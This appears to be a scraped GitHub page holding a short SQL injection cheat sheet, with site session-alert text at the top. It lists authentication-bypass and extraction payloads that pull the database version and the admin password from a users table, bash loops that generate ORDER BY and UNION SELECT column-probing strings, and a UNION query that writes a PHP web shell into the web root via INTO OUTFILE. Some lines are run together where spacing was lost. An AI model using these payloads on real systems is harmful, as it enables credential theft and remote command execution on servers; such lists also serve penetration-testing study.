You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
d2cy' OR 1=1 -- //d2cy'or1=1in (select @@version) -- //
d2cy' or 1=1 in (select version()) == //'or1=1in (SELECT password FROM users) -- //' or 1=1 in (SELECT password FROM users WHERE username = 'admin') -- //
UNION Based SQL injection
Find no. of columns
foriin {1..5};doecho -n "' ORDER BY $i-- //\n";done# Generate ' ORDER BY x-- //foriin {1..5};doecho"' UNION SELECT $(printf 'null,'%.0s {1..$i})null-- -";done# Generate UNION SELECT null,null-- -
Upload Shell
' UNION SELECT "<?php system($_GET['cmd']);?>", null, null, null, null INTO OUTFILE "/var/www/html/tmp/webshell.php" -- //